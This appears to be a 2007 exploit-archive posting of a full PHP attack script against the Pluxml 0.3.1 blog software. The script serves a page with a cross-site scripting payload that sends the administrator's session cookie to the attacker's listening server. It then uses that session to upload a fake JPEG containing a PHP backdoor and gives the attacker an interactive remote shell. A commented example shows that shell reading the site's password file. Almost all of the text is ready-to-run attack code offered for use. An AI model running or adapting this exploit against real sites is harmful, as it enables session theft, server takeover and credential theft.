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From:gmdarkfig_(at)_gmail.com <gmdarkfig_(at)_gmail.com>
Date:26.06.2007
Subject:Pluxml 0.3.1 Remote Code Execution Exploit

<?php
#
# This file require the PhpSploit class.
# If you want to use this class, the latest
# version can be downloaded from acid-root.new.fr.
# Note: The new version is compatible with PHP 4 by default.
##############################################################
error_reporting(E_ALL ^ E_NOTICE);
require('phpsploitclass.php');


# C:\> sploit.php -url http://victim.com/pluxml0.3.1/ -ip 90.27.10.196
# [/]Waiting for connection on http://90.27.10.196:80/
# [!]Now you have to make the victim to click on the url
# [+]Received 395 bytes from 182.26.54.2:2007
# [+]Sending 366 bytes to 182.26.54.2:2007
# [+]Received 326 bytes from 182.26.54.2:2009
# [+]Sending 366 bytes to 182.26.54.2:2009
# [+]Received 692 bytes from 182.26.54.2:2010
# [!]Received one cookie from 182.26.54.2:2010
# [/]Verifying if there is a valid session id cookie
# [-]No: pollvote=1
# [!]Yes: PHPSESSID=c6255827c1a07c51a95af691a612484b
# [+]The created socket has been shut down
# $shell> whoami
# darkfig
#
if($argc < 5)
{
print("
------------ Pluxml 0.3.1 Remote Code Execution Exploit -------------
---------------------------------------------------------------------
            Credits: DarkFig <gmdarkfig@gmail.com>
                URL: acid-root.new.fr || mgsdl.free.fr
                IRC: #acidroot@irc.worldnet.net
               Note: Coded for fun 8)
---------------------------------------------------------------------
  Usage: $argv[0] -url <> -ip <> [Options]
 Params: -url       For example http://victim.com/pluxml0.3.1/
         -ip        The IP that will be bound to the socket
Options: -port      The socket will listen on this port (default=80)
         -proxy     If you wanna use a proxy <proxyhost:proxyport>
         -proxyauth Basic authentification <proxyuser:proxypwd>
---------------------------------------------------------------------
");exit(1);
}

# PhpSploit object
####################
$xpl = new phpsploit();
$xpl->agent('Firefox');

# Server
##########
$server_addr = getparam('ip',1);
$server_port = (getparam('port')!='') ? getparam('port') : '80';
$server_url  = "http://$server_addr:$server_port/";

# Victim
##########
$hack = getparam('url',1);
$html = "<h1>hello :)</h1>\n";

# Apparently my XSS bypass NoScript protection
################################################
$xss  = "<iframe src='${hack}pluxml/admin/auth.php?msg="
      ."<script>document.location=(".char($server_url.
'?c=')
      .".concat(document.cookie))</script>'"
      ." height=0 width=0>";

# Socket
##########
$handle = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_bind($handle, $server_addr, $server_port);
socket_listen($handle);

print "\n[/]Waiting for connection on $server_url";
print "\n[!]Now you have to make the victim to click on the url";

# Wait until we get admin rights
##################################
while(TRUE)
{
       $packet = '';
       
       if(!$msg = socket_accept($handle))
          exit(1);

       # End of the packet ?
       ######################
       while(!ereg("\r\n\r\n",
$packet))
          $packet .= socket_read($msg, 2048, PHP_BINARY_READ);
          
       socket_getpeername($msg, $clientaddr, $clientport);
       print "\n[+]Received ".strlen($packet)." bytes from $clientaddr:$clientport";

       # Server response
       ##################
       $serv =
        "HTTP 1.x 200 OK\r\n"
       ."Connection: close\r\n"
       ."Transfer-Encoding: chunked\r\n"
       ."Content-Type: text/html\r\n\r\n"
       .$html.$xss."\r\n\r\n";

       # Is there a cookie ?
       #######################
       if(preg_match("#\?c=(\S*) HTTP/1\.([01x]+)#", $packet, $cookies))
       {
               print "\n[!]Received one cookie from $clientaddr:$clientport";
               print "\n[/]Verifying if there is a valid session id cookie";
               $cookie = explode(';%20',$cookies[1]);
               
               foreach($cookie as $session)
               {
                       # Valid session id ?
                       #######################
                       if(is_valid_session($session))
                       
                          # Let's upload a file
                          #######################
                          code_execution();
               }
               print "\n[-]No valid session id cookie found";
               print "\n[/]Always waiting for connection";
       }
       # Answer to the client
       ########################
       else
       {
               print "\n[+]Sending ".strlen($serv)." bytes to $clientaddr:$clientport";
               socket_write($msg, $serv, strlen($serv));
       }
       socket_close($msg);
}

# Function which is like getopt()
###################################
function getparam($param,$opt='')
{
       global $argv;
       
       foreach($argv as $value => $key)
       {
               if($key == '-'.$param)
                  return $argv[$value+1];
       }
       
       if($opt)
          exit("-$param parameter required");
       else
          return;
}

# Bypass magic_quotes_gpc
###########################
function char($data)
{
       $char = 'String.fromCharCode(';
       
       for($i=0;$i<strlen($data);$i++)
       {
               $char .= ord($data[$i]);
               if($i != (strlen($data)-1))
                  $char .= ',';
       }
       return $char.')';
}

# Admin session always available ?
###################################
function is_valid_session($session)
{
       global $xpl,$hack;
       
       $xpl->addheader('Cookie',$session);
       $xpl->get($hack.'pluxml/admin/index.php');
       
       if(eregi('Location: auth.php', $xpl->getheader()))
       {
               print "\n[-]No: $session";
               return FALSE;
       }
       else
       {
               print "\n[!]Yes: $session";
               return TRUE;
       }
}

# File upload vulnerability
#############################
function code_execution()
{
       global $xpl,$hack,$msg;
       
       socket_close($msg);
       print "\n[+]The created socket has been shut down";
       
       # +images.php [File Upload Vulnerability]
       # |
       # 11. if(!empty($_FILES)){
       # 12.    $uploaddir = '../../images/';
       # 13.    $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
       # 14. if(getimagesize($_FILES['userfile']['tmp_name']))
{
       # 15.    move_uploaded_file($_FILES['userfile']['tmp_name'],
$uploadfile);
       # 16.    chmod($uploadfile, 0777);
       # 17.    $msg = 'Image envoyйe';
       # 18. }else{
       # 19.    $msg = 'Le fichier n\'est pas une image';
       # 20. }
       # 21. header('Location: images.php?msg='.$msg);
       # 22. }
       #
       # Fake JPG 1x1
       # 000000A0 007F 3C3F 7068 700D 0A69 6628 6973 7365 ..<?php..if(isse
       # 000000B0 7428 245F 5345 5256 4552 5B48 5454 505F t($_SERVER[HTTP_
       # 000000C0 5348 454C 4C5D 2929 0D0A 7B0D 0A70 7269 SHELL]))..{..pri
       # 000000D0 6E74 2031 3233 3435 3637 3839 3130 3131 nt 1234567891011
       # 000000E0 3132 3B0D 0A65 7661 6C28 245F 5345 5256 12;..eval($_SERV
       # 000000F0 4552 5B48 5454 505F 5348 454C 4C5D 293B ER[HTTP_SHELL]);
       # 00000100 0D0A 7072 696E 7420 3132 3334 3536 3738 ..print 12345678
       # 00000110 3931 3031 3131 323B 0D0A 7D0D 0A3F 3EFF 9101112;..}..?\>.
       #
       $fakejpg =
       "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\
x49\x46\x00\x01\x01\x01\x00"
       .
"\x60\x00\x60\x00\x00\xFF\xDB\x00\x43\
x00\x08\x06\x06\x07\x06"
       .
"\x05\x08\x07\x07\x07\x09\x09\x08\x0A\
x0C\x14\x0D\x0C\x0B\x0B"
       .
"\x0C\x19\x12\x13\x0F\x14\x1D\x1A\x1F\
x1E\x1D\x1A\x1C\x1C\x20"
       .
"\x24\x2E\x27\x20\x22\x2C\x23\x1C\x1C\
x28\x37\x29\x2C\x30\x31"
       .
"\x34\x34\x34\x1F\x27\x39\x3D\x38\x32\
x3C\x2E\x33\x34\x32\xFF"
       .
"\xDB\x00\x43\x01\x09\x09\x09\x0C\x0B\
x0C\x18\x0D\x0D\x18\x32"
       .
"\x21\x1C\x21\x32\x32\x32\x32\x32\x32\
x32\x32\x32\x32\x32\x32"
       .
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\
x32\x32\x32\x32\x32\x32"
       .
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\
x32\x32\x32\x32\x32\x32"
       .
"\x32\x32\x32\x32\x32\x32\x32\x32\xFF\
xFE\x00\x7F\x3C\x3F\x70"
       .
"\x68\x70\x0D\x0A\x69\x66\x28\x69\x73\
x73\x65\x74\x28\x24\x5F"
       .
"\x53\x45\x52\x56\x45\x52\x5B\x48\x54\
x54\x50\x5F\x53\x48\x45"
       .
"\x4C\x4C\x5D\x29\x29\x0D\x0A\x7B\x0D\
x0A\x70\x72\x69\x6E\x74"
       .
"\x20\x31\x32\x33\x34\x35\x36\x37\x38\
x39\x31\x30\x31\x31\x31"
       .
"\x32\x3B\x0D\x0A\x65\x76\x61\x6C\x28\
x24\x5F\x53\x45\x52\x56"
       .
"\x45\x52\x5B\x48\x54\x54\x50\x5F\x53\
x48\x45\x4C\x4C\x5D\x29"
       .
"\x3B\x0D\x0A\x70\x72\x69\x6E\x74\x20\
x31\x32\x33\x34\x35\x36"
       .
"\x37\x38\x39\x31\x30\x31\x31\x31\x32\
x3B\x0D\x0A\x7D\x0D\x0A"
       .
"\x3F\x3E\xFF\xC0\x00\x11\x08\x00\x01\
x00\x01\x03\x01\x22\x00"
       .
"\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\
x1F\x00\x00\x01\x05\x01"
       .
"\x01\x01\x01\x01\x01\x00\x00\x00\x00\
x00\x00\x00\x00\x01\x02"
       .
"\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\
xFF\xC4\x00\xB5\x10\x00"
       .
"\x02\x01\x03\x03\x02\x04\x03\x05\x05\
x04\x04\x00\x00\x01\x7D"
       .
"\x01\x02\x03\x00\x04\x11\x05\x12\x21\
x31\x41\x06\x13\x51\x61"
       .
"\x07\x22\x71\x14\x32\x81\x91\xA1\x08\
x23\x42\xB1\xC1\x15\x52"
       .
"\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\
x16\x17\x18\x19\x1A\x25"
       .
"\x26\x27\x28\x29\x2A\x34\x35\x36\x37\
x38\x39\x3A\x43\x44\x45"
       .
"\x46\x47\x48\x49\x4A\x53\x54\x55\x56\
x57\x58\x59\x5A\x63\x64"
       .
"\x65\x66\x67\x68\x69\x6A\x73\x74\x75\
x76\x77\x78\x79\x7A\x83"
       .
"\x84\x85\x86\x87\x88\x89\x8A\x92\x93\
x94\x95\x96\x97\x98\x99"
       .
"\x9A\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\
xAA\xB2\xB3\xB4\xB5\xB6"
       .
"\xB7\xB8\xB9\xBA\xC2\xC3\xC4\xC5\xC6\
xC7\xC8\xC9\xCA\xD2\xD3"
       .
"\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE1\xE2\
xE3\xE4\xE5\xE6\xE7\xE8"
       .
"\xE9\xEA\xF1\xF2\xF3\xF4\xF5\xF6\xF7\
xF8\xF9\xFA\xFF\xC4\x00"
       .
"\x1F\x01\x00\x03\x01\x01\x01\x01\x01\
x01\x01\x01\x01\x00\x00"
       .
"\x00\x00\x00\x00\x01\x02\x03\x04\x05\
x06\x07\x08\x09\x0A\x0B"
       .
"\xFF\xC4\x00\xB5\x11\x00\x02\x01\x02\
x04\x04\x03\x04\x07\x05"
       .
"\x04\x04\x00\x01\x02\x77\x00\x01\x02\
x03\x11\x04\x05\x21\x31"
       .
"\x06\x12\x41\x51\x07\x61\x71\x13\x22\
x32\x81\x08\x14\x42\x91"
       .
"\xA1\xB1\xC1\x09\x23\x33\x52\xF0\x15\
x62\x72\xD1\x0A\x16\x24"
       .
"\x34\xE1\x25\xF1\x17\x18\x19\x1A\x26\
x27\x28\x29\x2A\x35\x36"
       .
"\x37\x38\x39\x3A\x43\x44\x45\x46\x47\
x48\x49\x4A\x53\x54\x55"
       .
"\x56\x57\x58\x59\x5A\x63\x64\x65\x66\
x67\x68\x69\x6A\x73\x74"
       .
"\x75\x76\x77\x78\x79\x7A\x82\x83\x84\
x85\x86\x87\x88\x89\x8A"
       .
"\x92\x93\x94\x95\x96\x97\x98\x99\x9A\
xA2\xA3\xA4\xA5\xA6\xA7"
       .
"\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\
xB8\xB9\xBA\xC2\xC3\xC4"
       .
"\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\
xD5\xD6\xD7\xD8\xD9\xDA"
       .
"\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\
xF2\xF3\xF4\xF5\xF6\xF7"
       .
"\xF8\xF9\xFA\xFF\xDA\x00\x0C\x03\x01\
x00\x02\x11\x03\x11\x00"
       .
"\x3F\x00\xF7\xFA\x28\xA2\x80\x3F\xFF\
xD9";
       
       $formdata = array(
                   frmdt_url => $hack.'pluxml/admin/images.php',
                   'userfile' => array(
                                 frmdt_filename => 'iwashere.php',
                                 frmdt_content => $fakejpg));

       $xpl->formdata($formdata);
       print "\n\$shell> ";

       while(!preg_match('#^(quit|exit)$#', ($cmd = trim(fgets(STDIN)))))
       {
               # $shell> cat ../pluxml/conf/password.xml
               ########################################
               $xpl->addheader('Shell',
"system('$cmd');");
               $xpl->get($hack.'images/iwashere.php');
               $content = explode('1.23456789101E+014',$xpl->getcontent());
               print $content[1]."\n\$shell> ";
       }
       exit(0);
}

?>

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